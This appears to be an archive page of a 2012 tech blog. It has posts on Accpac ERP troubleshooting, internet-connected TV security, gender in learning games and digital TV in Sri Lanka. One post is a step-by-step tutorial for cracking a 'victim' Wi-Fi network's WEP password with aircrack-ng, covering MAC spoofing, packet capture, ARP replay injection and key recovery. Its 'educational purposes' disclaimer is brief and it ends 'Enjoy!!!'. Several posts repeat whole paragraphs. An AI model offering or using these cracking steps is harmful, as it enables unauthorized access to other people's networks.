Friday, November 30, 2012
Accpac Slowness Due to Environment Variable Conflict
When installing Accpac on a windows platform it creates a Environment Variable(Environment variables are a set of dynamic named values that can affect the way running processes will behave on a computer).
When you uninstall Accpac from a Windows operating system it doesn't remove the Environment Path Variable. When you perform a new installation on the same operating system it creates a Environment Variable again. So there will be two Environment Path Variables for Accpac. When it comes to a server client architecture we have to install Accpac application server and workstations in client machines. When installing workstations it also creates Environment Path Variable in that particular machine too. So if you uninstall and reinstall Accpac workstation in the same machine then there also will be two environment variables. This PATH variable will have the network address of the Application server. Ex : \\192.168.1.10\Sage\Sage Accpac\Runtime
This becomes an issue when you shift the Accpac Application Server to a new network address and install workstations again for shifted Accpac application server. If you don't remove the Environment Variable of the previous installation then there will be two PATH variables for Accpac. When Accpac runs it refers this PATH variable and because of these two variables it will create a conflict. Ultimately this will cause a slowness in Accpac and previewing of crystal reports.
Hence it is a good practice to remove Environment PATH Variable after uninstalling Accpac in a networked infrastructure(when you have client server architecture for Accpac) to avoid sallowness in Application and crystal report previewing.
Below is how to find Environment PATH Variable
Windows Vista and Windows 7 users
01. From the Desktop, right-click My Computer and click Properties.
02. Click Advanced System Settings link in the left column.
03. In the System Properties window click the Environment Variables button.
Windows 2000 and Windows XP users
The path is now managed by Windows 2000 and Windows XP and not the autoexec.bat or autoexec.nt files as was done with earlier versions of Windows. To change the system environment variables, follow the below steps.
01. From the Desktop, right-click My Computer and click Properties.
02. In the System Properties window, click on the Advanced tab.
03. In the Advanced section, click the Environment Variables button.
Finally, in the Environment Variables window (as shown below), highlight the Path variable in the Systems Variable section and click the Edit button. Add or modify the path lines with the paths you wish the computer to access. Each different directory is separated with a semicolon as shown below.
C:\Program Files;C:\Winnt;C:\Winnt\System32
After finding the environment variable click edit and find the PATH for Accpac in PATH variables. There can be one or more variables separated by semicolon ( ; ). So you have only to choose the one represents the Accpac it will look like this "\\192.168.1.10\Sage\Sage Accpac\Runtime" without quotations. You have to select the path for Accpac and delete it and save.
Monday, October 15, 2012
Re-implementing Sage Accpac ERP Modules when Upgrading
I came across with a scenario where I had to carry out an upgrade for Financial Modules and re-implement Operational Modules. There I had implemented SM, GL, AR, AP, IC and OE modules. I had a requirement only to upgrade SM, GL, AP and AR modules from Accpac 5.2 to Accpac 6.0 and re implement IC, OE modules as new modules.
This task was difficult because even we do not activate those modules from Data Activation UI when doing the upgrade all the tables and data reside in IC and OE are also carried to the new version in the database. Hence we had to find a solution for this scenario.
The solution we found is shown below,
1. Upgrade all modules from 5.2 to 6.0 including SM, GL, AP, AR, AP, IC and OE using data activation UI and Database Dump
2. Create a new Accpac company in Accpac 6.0 with SM, GL, AP, AR, AP, IC and OE without any data.
3. Dump the newly created Accpac 6.0 company database
4. From that dump all tales related to IC and OE omitting SM, GL, AP and AR modules. These files are shown as REC files in DAT folder in Dump.
5. Replace copied REC filed from empty company with upgraded database's dump files in DAT folder (All tales related to IC and OE omitting SM, GL, AP)
6. DB LOAD the files replaced DUMP to Accpac
After DB loading that DUMP file we got IC and OE modules without any data. Hence we could re implement IC and OE while having all past data and setup in Financial Modules.
Thursday, April 19, 2012
Security Vulnerability of Digital Television (DTV)
TV is a dominant equipment of every household in this planet. The newest trend in Television is Digital Television (DTV). With this change the television will be a hyper connected with internet. I have described about digital television in another post in detail. You can read that post here.
Its said that 100 million TVs will be connected to internet by 2016. This will open up a total new market and more other benefits. Other than that in the same time it will discover vast number of targets for hackers.
Internet connected TVs uses IP addresses (Internet Protocol) and they will be connected to internet almost every time the TV is on. So the network interfaces of these televisions will be always connected to internet.
Spoiler alerts says
"Our goal was to see if we could hack into the set-top box, steal customer personal information, pirate services, and incur denial-of-service conditions. Just for yucks, I added two more objectives: to see if we could steal porn (typically, one of the biggest revenue streams for cable companies) or force porn onto another television that was watching Disney content, with the idea that offended customers would drop their service."
So what we can do is avoiding internet connected television but prevent doing transactions over internet connected television and be more conscious about what we are watching. Obviously television producers will come up with security options to prevent these vulnerabilities yet hackers will always find a way.
Its said that 100 million TVs will be connected to internet by 2016. This will open up a total new market and more other benefits. Other than that in the same time it will discover vast number of targets for hackers.
Internet connected TVs uses IP addresses (Internet Protocol) and they will be connected to internet almost every time the TV is on. So the network interfaces of these televisions will be always connected to internet.
Spoiler alerts says
"Our goal was to see if we could hack into the set-top box, steal customer personal information, pirate services, and incur denial-of-service conditions. Just for yucks, I added two more objectives: to see if we could steal porn (typically, one of the biggest revenue streams for cable companies) or force porn onto another television that was watching Disney content, with the idea that offended customers would drop their service."
So what we can do is avoiding internet connected television but prevent doing transactions over internet connected television and be more conscious about what we are watching. Obviously television producers will come up with security options to prevent these vulnerabilities yet hackers will always find a way.
Tuesday, April 17, 2012
Hack a Wi-Fi Network’s WEP Password with Linux
I started my internship program this month so I don't find much time to spend writing long articles. So I thought to show how to crack a Wi- Fi Network's WEP password. Again I must say at the beginning that I show this for educational purposes. So if you hack someones Wi-Fi network with this please take their written authority. And do on your own risk :)
This hack only works for WEP passwords. So the victim should have used WEP in their Wi-Fi network. For other authentication methods like WPA or WPA2 are also breakable. There are tools out there to hack WPA2 authentication also but that takes time and long process than this I will consider posting an article on that later. So lets see how to do the hack.
Do do this hack in the way I am going to describe you have to have Linux operating system. I would recommend you to have Ubuntu. Specialty with Ubuntu is its more user frendly and the terminal commands I will give will work on Ubuntu (commands like apt-get may change in other Linux distributions). And I take the assumption that you are familiar with Linux operating systems. (If you find any difficulty please ask)
Below are the steps:-
Use terminal and grant user super user or administrator rights. User can get it with su command or sudo bash command
1. Install Aircrack-ng (This is the tool used to crack the wifi. This tool does not come with Ubuntu hence you have to install it on terminal)
apt-get install aircrack-ng (Update Ubuntu before you use this command
apt-get update.)
2. Run the following to get a list of your network interfaces.
airmon-ng
3. Stop running Wireless interfaces.
airmon-ng stop (interface)
ifconfig (interface) down (We stop running wireless interface to change the MAC address of the interface)
4. Change the MAC Address of the wireless interface.
macchanger --mac 00:11:22:33:44:55 (interface) (You can add any MAC address here.We change the MAC address for security reasons this step is recommended but not essential)
5. Start monitoring the packets.
airmon-ng start (interface)
6. Dumps the packets. (You have to keep running the result of previous command and for this command open new terminal.We have to dump packets into a file so we can use that file when cracking the password)
airodump-ng -c (channel) -b (bssid) -w (file name) (interface) (Channel and BSSID can be taken from the result of airmon-ng start (interface) command)
7. Creating Traffic (You have to keep running previous two terminals and open a new terminal and use following command to boost up the traffic. This is useful when you have only one station to communicate with the router. This boost up the traffic so it will capture more data).
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
8. Replay attack to fast the hack. (Open a new terminal for this command. This command is also for boosing up the hack with ARP requests)
aireplay-ng -2 -p 0841 -c (dmac) -b (bssid) (interface)
9. Wait till Data section exceed at least 10,000 (number of data gathering change according to the size of the WEP key) in airmon-ng terminal and then hack for the key with following command.
aircrack-ng -b (bssid) (file name-01.cap)
After executing this command you will get the WEP password of thevictim Wi-Fi network.
Enjoy!!!
This hack only works for WEP passwords. So the victim should have used WEP in their Wi-Fi network. For other authentication methods like WPA or WPA2 are also breakable. There are tools out there to hack WPA2 authentication also but that takes time and long process than this I will consider posting an article on that later. So lets see how to do the hack.
Do do this hack in the way I am going to describe you have to have Linux operating system. I would recommend you to have Ubuntu. Specialty with Ubuntu is its more user frendly and the terminal commands I will give will work on Ubuntu (commands like apt-get may change in other Linux distributions). And I take the assumption that you are familiar with Linux operating systems. (If you find any difficulty please ask)
Below are the steps:-
Use terminal and grant user super user or administrator rights. User can get it with su command or sudo bash command
1. Install Aircrack-ng (This is the tool used to crack the wifi. This tool does not come with Ubuntu hence you have to install it on terminal)
apt-get install aircrack-ng (Update Ubuntu before you use this command
apt-get update.)
2. Run the following to get a list of your network interfaces.
airmon-ng
3. Stop running Wireless interfaces.
airmon-ng stop (interface)
ifconfig (interface) down (We stop running wireless interface to change the MAC address of the interface)
4. Change the MAC Address of the wireless interface.
macchanger --mac 00:11:22:33:44:55 (interface) (You can add any MAC address here.We change the MAC address for security reasons this step is recommended but not essential)
5. Start monitoring the packets.
airmon-ng start (interface)
6. Dumps the packets. (You have to keep running the result of previous command and for this command open new terminal.We have to dump packets into a file so we can use that file when cracking the password)
airodump-ng -c (channel) -b (bssid) -w (file name) (interface) (Channel and BSSID can be taken from the result of airmon-ng start (interface) command)
7. Creating Traffic (You have to keep running previous two terminals and open a new terminal and use following command to boost up the traffic. This is useful when you have only one station to communicate with the router. This boost up the traffic so it will capture more data).
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
8. Replay attack to fast the hack. (Open a new terminal for this command. This command is also for boosing up the hack with ARP requests)
aireplay-ng -2 -p 0841 -c (dmac) -b (bssid) (interface)
9. Wait till Data section exceed at least 10,000 (number of data gathering change according to the size of the WEP key) in airmon-ng terminal and then hack for the key with following command.
aircrack-ng -b (bssid) (file name-01.cap)
After executing this command you will get the WEP password of thevictim Wi-Fi network.
Enjoy!!!
Sunday, February 19, 2012
Video games in Learning and Gender
Introduction to Computer Games and Games based Learning (GBL)
A computer game, also known as PC game, is a video game played on a personal computer, rather than on a video game console or arcade machine. PC games are created by one or more game developers, often in conjunction with other specialists (such as game artists) and either published independently or through a third party publisher. They may then be distributed on physical media such as DVDs and CDs, as Internet-downloadable, possibly freely redistributable, software, or through online delivery services such as Direct2Drive and Steam. PC games often require specialized hardware in the user's computer in order to play, such as a specific generation of graphics processing unit or an Internet connection for online play, although these system requirements vary from game to game.
Game based learning uses competitive exercises, either pitting the students against each other or getting them to challenge themselves in order to motivate them to learn better.
Games often have a fantasy element that engages players in a learning activity through a story line.In order to create a truly educational game, the instructor needs to make sure that learning the material is essential to scoring and winning.
Most recent game I played was Dues Ex Human Revolution where again a male character is the main role. As far I played I faced several boss fights after each stage. In some stages the boss was female characters. One another thing I must mention is the sex appealing figures of characters in the game. And basically game is driven on the condition “finding the girl”.
In car races the fact is same. Need for Speed has changed the gaming experience in their recent release of NFS game. In “NFS The Run” you have a main male character and certain situation you can control the character too other than cars. Here also you have a good looking girl helping you out. What we can understand from this is mainly games are developed for males. Which proves us that main target market are males. So the games females play are designed to touch the instincts of men’s. The main problem comes to my mind is weather females who play these games get the motivation and drive to play game from the game as I get as a male. Obviously most of them don’t. So I can describe this as discrimination of gender.
Other fact is how males and females represent in games. When representing males and females we can see that they try to give more look of sex appeal. In games like street fighter, tekken and many games we can see clearly how they represent the gender.
So what we can see clearly is when designing games for learning also we have to consider it from the gender perspective. If you build a game and expect from both genders to react in the same way or expect same outcome from both genders that would be a nightmare. Main target market for large game companies like EA and Activision is males. If you take entire world including Asia and Middle East you can easily understand the fact. So they specially care to add facts that can touch men’s instants to motivate and keep them in the game. In Need for Speed the Run I think it is the good looking girl that help you. So what I think is when developing games for learning the fact should be same. The developer should look in the gender perspective when developing games. In Sri Lanka we can see in Education there is some amount of female dominant if we look at the education sector as one entity. So a developer choose the ways of lager gaming companies do to apply for a learning game for Sri Lankan education sector he would fail. So it is very important to look at from a gender perspective when developing games for learning.
A computer game, also known as PC game, is a video game played on a personal computer, rather than on a video game console or arcade machine. PC games are created by one or more game developers, often in conjunction with other specialists (such as game artists) and either published independently or through a third party publisher. They may then be distributed on physical media such as DVDs and CDs, as Internet-downloadable, possibly freely redistributable, software, or through online delivery services such as Direct2Drive and Steam. PC games often require specialized hardware in the user's computer in order to play, such as a specific generation of graphics processing unit or an Internet connection for online play, although these system requirements vary from game to game.
Game based learning uses competitive exercises, either pitting the students against each other or getting them to challenge themselves in order to motivate them to learn better.
Games often have a fantasy element that engages players in a learning activity through a story line.In order to create a truly educational game, the instructor needs to make sure that learning the material is essential to scoring and winning.
Here are several elements that define an activity as a game (GBL):
- Competition: the score-keeping element and/or winning conditions which motivate the players and provide an assessment of their performance. Note that players are not necessarily competing against each other. In fact, a lot of games have players working as a team to overcome some obstacle or opponent which is built into the game.
- Engagement: Once the learner starts, he or she does not want to stop before the game is over. Lepper and Cordova (1992) refer to this phenomenon as "intrinsic motivation" and ascribe it to four sources: challenge, curiosity, control, and fantasy.
- Immediate Rewards: Players receive victory or points, sometimes even descriptive feedback, as soon as goals are accomplished.
These features are similar to those of a good lesson plan:
- Achievement: Each lecture or lab is based on objectives for students to achieve: new understanding and skills to master. The activities and material challenge students.
- Motivation: Science is about topics that are fundamentally interesting. Instructors further motivate students by stressing connections between the course content and the students' own lives and concerns.
- Assessment: Strictly speaking, the reward for doing well in school is increased understanding and new abilities. These are represented in terms of grades and credits, sometimes more detailed feedback.
So the challenge for the designer/instructor is to combine the two in such a way as to enhance the strengths of each approach, to make learning fun and to make games more useful.
Games have many attributes detailed below that are associated with how people learn.
- Social. Games are often social environments, sometimes involving large distributed communities. “It is not the game play per se but the social life around the edge of the game that carries much of the richness in terms of the game’s meaning, its value, and its social and cultural impact.”
- Research. When a new player enters a game, he or she must immediately recall prior learning, decide what new information is needed, and apply it to the new situation. Those who play digital games are often required to read and seek out new information to master the game.
- Problem solving. Knowing what information or techniques to apply in which situations enables greater success, specifically, problem solving. This often involves collective action through communities of practice.
- Transfer. Games require transfer of learning from other venues―life, school, and other games. Being able to see the connection and transfer existing learning to a unique situation is part of game play. Simulations, Games, and Learning
- Experiential. Games are inherently experiential. Those who play games engage multiple senses. For each action, there is a reaction. Feedback is swift. Hypotheses are tested, and users learn from the results.
The typical college student plays an estimated 1.8 hours a day of video games.
The US military uses computer war games for training for everything from high-level international command coordination to using a weapon. New companies are springing up to provide educational games for businesses for subjects ranging from technical training and sexual harassment awareness.
Video Games in Learning from a Gender Perspective
The chart below shows the distribution of games in gender basis. This figure is a good place to set up the perspective we discuss the matter. Here we can see how each game type has a certain number of male and female users. So it’s clear that there is a difference in playing computer games form a gender perspective. Before discussing the learning we can look into the fact how gender represents in games. This survey is based on only Europe so when it comes to Asia and Middle East these numbers terribly change.
I will discuss the fact with my personal experiences rather than getting information from online materials. I can mainly see several facts when I look into games I played in gender perspective. In first person shooting games I have played there was no main female character. Call of Duty is one of most popular game in that kind. Form CoD first release they have not added any female character for the player to play. But in CoD 2 I can remember in certain mission I heard female voice of a fellow solder. In fact there are many fellow soldiers.
In car races the fact is same. Need for Speed has changed the gaming experience in their recent release of NFS game. In “NFS The Run” you have a main male character and certain situation you can control the character too other than cars. Here also you have a good looking girl helping you out. What we can understand from this is mainly games are developed for males. Which proves us that main target market are males. So the games females play are designed to touch the instincts of men’s. The main problem comes to my mind is weather females who play these games get the motivation and drive to play game from the game as I get as a male. Obviously most of them don’t. So I can describe this as discrimination of gender.
Other fact is how males and females represent in games. When representing males and females we can see that they try to give more look of sex appeal. In games like street fighter, tekken and many games we can see clearly how they represent the gender.
So what we can see clearly is when designing games for learning also we have to consider it from the gender perspective. If you build a game and expect from both genders to react in the same way or expect same outcome from both genders that would be a nightmare. Main target market for large game companies like EA and Activision is males. If you take entire world including Asia and Middle East you can easily understand the fact. So they specially care to add facts that can touch men’s instants to motivate and keep them in the game. In Need for Speed the Run I think it is the good looking girl that help you. So what I think is when developing games for learning the fact should be same. The developer should look in the gender perspective when developing games. In Sri Lanka we can see in Education there is some amount of female dominant if we look at the education sector as one entity. So a developer choose the ways of lager gaming companies do to apply for a learning game for Sri Lankan education sector he would fail. So it is very important to look at from a gender perspective when developing games for learning.
Labels:
Case Studies,
My Intractions,
Technology - තාක්ශනික
Tuesday, January 10, 2012
Introduction to Digital and Interaction TV and It's Application in Sri Lanka
Digital
Television
In Digital Television the
transmission of audio and video is happened through digital signals. This is
the reason this television system called Digital Television or DTV. Because of
its nature of transmission Digital Television (DTV) is an advanced broadcasting
technology that has transformed television viewing experience to a new era from
analog television systems. Digital TV has enabled broadcasters to offer
television with better picture and sound quality. It also offers multiple
programming choices, called multicasting and interactive capabilities.
The switch from analog to digital
broadcast television is referred to as the Digital TV (DTV) Transition. In
1996, the U.S. Congress authorized the distribution of an additional broadcast
channel to each broadcast TV station so that they could start a digital
broadcast channel while simultaneously continuing their analog broadcast
channel.
Digital television supports many different picture
formats defined by the broadcast television systems which are a combination of
size, aspect ratio (width to height ratio).
Digital television can be accessed using satellite,
digital terrestrial or cable. Digital terrestrial television (DTTV or DTT) is
the technological evolution of broadcast television and advance from analog
television, which broadcasts land-based (terrestrial) signals. The purposes of
digital terrestrial television, similar to digital versus analogue in other
platforms such as cable, satellite, and telecommunications, are reduced use of
spectrum and more capacity than analogue, better-quality picture, and lower
operating costs for broadcast and transmission after the initial upgrade costs.
A terrestrial implementation of digital television (DTV) technology uses aerial
broadcasts to a conventional television antenna (or aerial). Satellite
television is television programming delivered by the means of communications
satellite and received by an outdoor antenna, usually a parabolic mirror
generally referred to as a satellite dish, and as far as household usage is
concerned, a satellite receiver either in the form of an external set-top box
or a satellite tuner module built into a TV set. Satellite TV tuners are also
available as a card or a USB stick to be attached to a personal computer. In
many areas of the world satellite television provides a wide range of channels
and services, often to areas that are not serviced by terrestrial or cable providers.
In Europe over 10 000 satellite channels are available but in Sri Lanka still satellite
accessible digital televisions are not available yet. Cable television is a
system of providing television programs to consumers via radio frequency (RF)
signals transmitted to televisions through coaxial cables or digital light
pulses through fixed optical fibers located on the subscriber's property, much
like the over-the-air method used in traditional broadcast television (via radio
waves) in which a television antenna is required. FM radio programming,
high-speed Internet, telephony, and similar non-television services may also be
provided. The major difference is the change of radio frequency signals used
and optical connections to the subscriber property.
With digital terrestrial television (DTV)
broadcasting, the range of formats can be broadly divided into two categories:
high definition television (HDTV) for the transmission of high-definition video
and standard-definition television (SDTV). These terms by themselves are not
very precise, and many subtle intermediate cases exist.
Digital television can be used to interact with the
viewer because of advanced technology it uses. Basically it can be divided into
two parts.
1. Enhanced
TV – whilst watching a program a viewer can access additional information,
different views or respond to questions asked.
2. Interactive
services – accessing information independent of a television channel.
The interactivity can be done by remote server. In
digital televisions there will be a return channel to request data from a
remote server. This maybe satellite via existing telephone line or cable – via its
own network etc. These types of systems are open systems but there are closed
systems also. In closed systems there are broadcast modules on a carousel and
set-up box captures a module and holds it for interaction.
There are two types of digital TV
1. Standard definition
(SD)
2. High definition
(HD).
Standard definition is a lower form of digital TV.
The aspect ratio for SD TV is 4:3, which is more square-like in appearance.
That’s why when watching SD images on a HDTV we can see either a stretched
picture or a picture with black bars on the side of the screen.
High definition is the highest form of digital TV.
The aspect ratio for HD is 16:9, which is rectangular like a movie theater
screen. That’s why when watching HD images on an analog or SDTV that we will
see black bars on the top and bottom of the screen.
Vertical Lines
|
Horizontal Pixels
|
Aspect Ratio
|
Frame Rate per Second
|
1080
|
1920
|
16:9
|
24, 30
|
720
|
1280
|
16:9
|
24, 30, 60
|
480
|
704
|
16:9
|
24, 30, 60
|
480
|
704
|
4:3
|
24, 30, 60
|
480
|
640
|
4:3
|
24, 30, 60
|
Interlaced Video
Scanning Formats for Digital TV
Vertical Lines
|
Horizontal Pixels
|
Aspect Ratio
|
Frame Rate per Second
|
1080
|
1920
|
16:9
|
30
|
480
|
704
|
16:9
|
30
|
480
|
704
|
4:3
|
30
|
480
|
640
|
4:3
|
30
|
Bit Rate Requirements
for Various Display Formats
Format
|
Pixels per Line
|
Lines per Frame
|
Pixels per Frame
|
Frames per Second
|
Millions of Pixels per
Second
|
Bits per Pixel
|
Mbps
|
SVGA
|
800
|
600
|
480,000
|
72
|
34.6
|
8
|
276.5
|
NTSC
|
640
|
480
|
307,200
|
30
|
9.2
|
24
|
221.2
|
PAL
|
580
|
575
|
333,500
|
50
|
16.7
|
24
|
400.2
|
SECAM
|
580
|
575
|
333,500
|
50
|
16.7
|
24
|
400.2
|
HDTV
|
1920
|
1080
|
2,073,600
|
30
|
62.2
|
24
|
1492.8
|
Film
|
2000
|
1700
|
3,400,000
|
24
|
81.6
|
32
|
2611.2
|
Benefits
of Digital Television
Digital televisions work on small bandwidth and give
the advantage of multicasting and data casting to the broadcaster. By
multicasting the broadcaster is able to broadcast the programs to different
viewers at the same time. It is like storing several files on one single DVD.
The broadcaster similarly is able to broadcast several programs on one channel.
The broadcaster or the cable system operator can
cast data on the channel along with the programs. Thus it gives the advantage
to the cable operator to display different type of information which may be
related to the price changes in the merchandise store or the list of the
programs that are about to be shown.
We can use the scart lead to record the programs on
the digital television. If we have some important appointment when one of our
favorite program is aired or have to go shopping then all we have to do is get
a digital video recorder that provide you with the facility to record the
programs so that we can watch them later. But just check the capacity of the
DVR to record the live TV. They come in different capacity and we can buy them
on the basis of your choice and requirement.
Can watch more number of channels in Digital
television than on an analog television. The picture is clearer, sharp with
high resolution, the sound quality is better.
An important benefit of the switch to all-digital
broadcasting is that it freed up parts of the valuable broadcast spectrum for
public safety communications (such as police, fire departments, and rescue
squads). Also, some of the spectrum can now be auctioned to companies that will
be able to provide consumers with more advanced wireless services (such as
wireless broadband).
Consumers also get benefits because digital
broadcasting allows stations to give improved picture and sound quality, and
digital is much more efficient than analog. For example, rather than being
limited to providing one analog program, a broadcaster is able to offer a super
sharp High Definition (HD) digital program or multiple Standard Definition (SD)
digital programs simultaneously through a process called “multicasting.”
“Multicasting
allows broadcast stations to offer several channels of digital programming at
the same time, using the same amount of spectrum required for one analog
program. So, for example, while a station broadcasting in analog on channel 7
is only able to offer viewers one program, a station broadcasting in digital on
channel 7 can offer viewers one digital program on channel 7-1, a second
digital program on channel 7-2, a third digital program on channel 7-3, and so
on. This means more programming choices for viewers. Further, DTV provides
interactive video and data services that were not possible with analog
technology.”
Interactive
Television
Interactive television (iTV) is any television
with what is called a “return path”. Information flows not only from
broadcaster to viewer, but also back from viewer to broadcaster. Another
feature common to all iTV systems is the ability to offer each TV set, or each
viewer who uses that TV set, a different choice of content.
There are different hardware configurations and
it is possible to build a crude interactive service using analog
systems. But the type of systems now being offered, that will dramatically
change how viewers live, are digital – either cable or satellite.
This "return path," return channel or
"back channel" can be by telephone, mobile SMS (text messages),
radio, digital subscriber lines (ADSL) or cable.
Cable TV viewers receive their programs via a cable,
and in the integrated cable return path enabled platforms, they use the same
cable as a return path.
Satellite viewers (mostly) return information to the
broadcaster via their regular telephone lines. They are charged for this
service on their regular telephone bill. An Internet connection via ADSL, or
other, data communications technology, is also being increasingly used.
“Interactive
TV can also be delivered via a terrestrial aerial (Digital Terrestrial TV such
as 'Freeview' in the UK). In this case, there is often no 'return path' as such
- so data cannot be sent back to the broadcaster (so you could not, for
instance, vote on a TV show, or order a product sample). However, interactivity
is still possible as there is still the opportunity to interact with an
application which is broadcast and downloaded to the set-top box (so you could
still choose camera angles, play games etc.).
Increasingly
the return path is becoming a broadband IP connection, and some hybrid
receivers are now capable of displaying video from either the IP connection or
from traditional tuners. Some devices are now dedicated to displaying video
only from the IP channel, which has given rise to IPTV - Internet Protocol
Television. The rise of the "broadband return path" has given new relevance
to Interactive TV, as it opens up the need to interact with Video on Demand
servers, advertisers, and web site operators.”
In interactive television there can be many types of
interactions. The interaction may be based on technology or it may be based on
the usage. Considering these facts interaction television’s interaction can
division into several parts.
1. Interactivity
with television set
This can be identifies as the
simplest form of interaction. This is happened through a remote control to fast
forward, pause, rewind or skip commercials etc.
2. Interaction
with the content of television programs
Here the viewer is not interacting
with television set. He interacts with the program. So users can comment,
message and do forum discussions regarding programs.
3. Interactivity
with television related content.
In this viewers can get information
about weather, sports, news etc using the interactive television.
Benefits
of Interactive Television
In interactive television viewer can have various
benefits and not only the viewer can so many parties benefit from interactive
television systems.
Interactive television is more viewers centric. Viewers
get more live and interactive television experience and even it can be used for
educational purposes. All the functions in interactive television that eases or
enhance the interactivity of the user can be measured as a benefit for the
viewer. As an example id there is online shopping facility the viewer can shop
using the television. Some benefits from interactive television are,
1. Getting
more information on anything appears in the screen.
2. Online
shopping: purchasing and ordering
3. Various
services: email, diary, chat, weather, stock market, quotes, viewing planner,
child viewing filter etc
4. Forums
and survays: Viewer requests for information, pop-quizzes, viewer opinion
polls, electronic program guide preferences, program suggestion forms, game or
activity entry forms.
5. Games
and activities: can chose varios types of games such as action, fantacy etc
Apart from that many parties benefits from and
create benefits from interactive TV’s. Because of its high technological usage
those parties can inspect the viewer easily and make decisions. This can be
service provider, marketer or a researcher for many purposes. I will try to
look from the service providers perspective how to benefit from data gathered.
Service provider or the broadcaster is the main entity who can collect data and
analyze. He can use these to sell more air time or he can sell data or reports
made after analyzing data to many parties like marketers, researchers etc.
Different kinds of data can be gathered from an
interactive television this is a major benefit. The data can be gathered are,
1. Shows
Watched
2. Commercials
Watched: Which viewed to completion, which viewed in part, time spent
3. Commercials
Clicked: Whenever the viewer hit a "tell me more" icon, time spent
reading or watching the further information.
Other clicks to other information screens.
4. Commercial
Purchases: Which ads persuaded a viewer to click on an order form, which ads
lead all the way to an online sale.
5. Services
Used: Which services, such as email, diary, chat, weather, stock market quotes,
shopping, viewing planner, child viewing filter etc. How often used, every
keystroke typed in to any of the services.
6. Online
Shopping: What viewer has browsed. What is the things viewer almost bought or
requested more information.
7. Forms
and Surveys used
8. Games
and activities used
Using these collected data analyzers can analyse and
create various kind of reports for further decision making. Such reports
include,
1. Viewing
hours over week
2. Channel
choice over week
3. Loyalty
to shows
4. Who
watches a certain show or shows, in order by wealth of neighborhood
5. Advertisements
missed or seen
6. Viewer
restlessness by type of program
7. Viewer
restlessness by type of advertisement
8. Response
to big events
These reports are very useful. They describe behaviors in each viewer that
broadcasters and advertisers have long dreamt of knowing. How many people are
watching a some kind of a program, for how long and how many of them live in
wealthy neighborhoods? Who are
they? What are their addresses? It has been shown that the more involved viewers
are in what they watch; the more likely they are to accept advertising
messages. Interactive TV has been shown
to increase involvement, but can also be used to measure it in clicks and
keystrokes.
Using these data interactive television can do so
many things. Those can be benefits for both viewer and service provider or any
other party. Main thing it can do is send content to an individual viewer
depending on their usage.
·
Programs offered – Every viewer will see
their own trailers, teasers and pop-up reminders. When they tune in to a show, they may even
see their own version of it. These
techniques will be especially effective to do product placements.
·
News - Any program or service that
offers information can be customized into special issues, local editions and
individualized bulletins. Headlines,
pictures, text and video can all be changed from minute to minute, person to
person.
·
Commercials - Infomercials can be
tailored to provide different information to each viewer, depending on what is
likely to influence their buying decisions.
Expect commercials to pop up in games, on-line services, and programs
and anywhere you don't seem to mind seeing them.
·
Branding - product logos and product
related images will be placed on the screen when and wherever they are most
effective.
·
Tools - A wide variety of online
services will be offered by interactive TV.
Email, personal diaries, financial planners, chat rooms and so on. Expect them to be products in their own
right, with special versions for boys, girls, working women, teenagers, retired
men, etc. Which are offered, how they
operate, and how they are tied to other products will all be open for
targeting.
·
Games - Aside from children's video
games, many services and entertainments will feature 3-D environments where
viewers can to walk, run, jump or lie around.
What games are offered and what viewers encounter.
·
Forums and Chat
·
Clubs and Organizations
·
Online Transactions - Shopping and
banking through your television will be entirely customized to (or targeted at)
viewer. What viewer is offered, how much it costs and how much
you pay will all change from person to person. You will be offered exclusive
discounts and special offers.
In this way not only the viewer but so many can
partiers can benefit from interactive televisions.
Digital
and Interactive Television in Sri Lanka
There are so many number of DTV channels in Sri
Lanka but still majority of population is using analog TV stations. Existing
Sri Lankan digital television channels are based on ADSL and Satellite.
“Sri Lanka
will end analog radio and television broadcasting system but plans to introduce
digital radio and television transmission system to provide a better reception
for the local listeners and Television viewers.
The
Sri-Lankan terrestrial broadcasting system will be fully converted to digital
by 2017 according to Daily News quotes, from the Mass Media and Information
Minister Keheliya Rambukwella.
He
told a briefing in Colombo that he has appointed a committee to look into the
technical aspects and evaluation of the digitalisation project and that it will
be headed by Mass Media and Information Ministry Secretary W B Ganegala. He
went on to say that the conversion process will begin in 2011 and because
digital technology had the capacity to transmit several channels using a single
frequency, obstacles to the expansion of broadcasting facilities could be
removed, he said.
Sri
Lanka will use the DVB-T2 digital standard. The first region to have the
service will be the country’s Western Province which includes the capital,
Colombo.”
Still lot of television sets in Sri Lanka is analog
based and infrastructure in island wide is not enough yet. The digital
television can be easily implemented in Western and few other provinces but
when it goes more rural it becomes like impossible to implement digital
television. So in my point of view to go for digital television in Sri Lanka
facilitating the infrastructure is a key point. Unless with lesser number of
viewers broadcasters will not be able to introduce noew technologies to enhance
the television experience.
When we talk about interactive television we can see
SLT IPTV is quite interactive. But still you can only interact with the
television set in this too. What you can do it pause, rewind and etc. So we
cannot call it a good stage in interactive television.
Sri Lankan major television stations are still
running on analog based systems. This is a major concern. As an example in SLRC
(Sri Lanka Rupavahini Corporation) uses analog systems and VCR tapes in
broadcasting. So television stations should adopt new technology in order to
facilitate digital television and interactive television
The number of IT literacy is increasing in Sri Lanka
so in some years after 2017 the knowledge will not be an obstacle to implement
interactive television in Sri Lanka.
What we can see significantly in Sri Lanka is the
tax for these types of equipment are having high rates. With that peoples
buying ability for the equipment needed are low. This also affects the
transformation timeline to interactive television. So making this equipment
available for public is very important fact.
So it’s obvious that Sri Lanka still at beginning
stages of the transformation in television from analog to digital. The
available digital television channels are also immature or Indian channels. We
can see there are no advance channels which are broadcasted only for Sri Lanka.
In India we can see that even discovery has a separate channel for India. Even
in Sri Lanka we watch that channel from digital televisions.
Government should fund television stations who wish
to transform into digital and government can give them exception in taxes
equipments they export. And the license fee for a television broadcaster is
very high if government can reduce it then television satiations can use that
amount of money also to span their capabilities.
There are no proper education systems for television
based technologies in Sri Lanka. Majority of people we see in Sri Lankan
television stations are people with very lower educational background. They
have expertise the field by experience. But when they are lack of basics and
theories then it makes hard for them to adopt new technologies easily by
leaving old equipment that they have mastered. So creating a telecommunication
based task force with requires knowledge and skills is also needed to speed up
the transformation process.
When a country implements a system like television
in that particular country, They should look forward at least more than 25
years. Because once infrastructure is made it is not easy to change or replace.
We can see there are developed countries that still run on old technologies
because it is hard to change an infrastructure in entire country. So when Sri
Lanka implements these technologies they have to find the best technologies
which have a potential sustainability in future.
References:
References:
- Wikipeadia
- Lankapuvath National News Agency of Sri Lanka
- Asia Pacific Broadcasting Union
- Daily News Online
- Asia-Pacific Institute for Broadcast Development
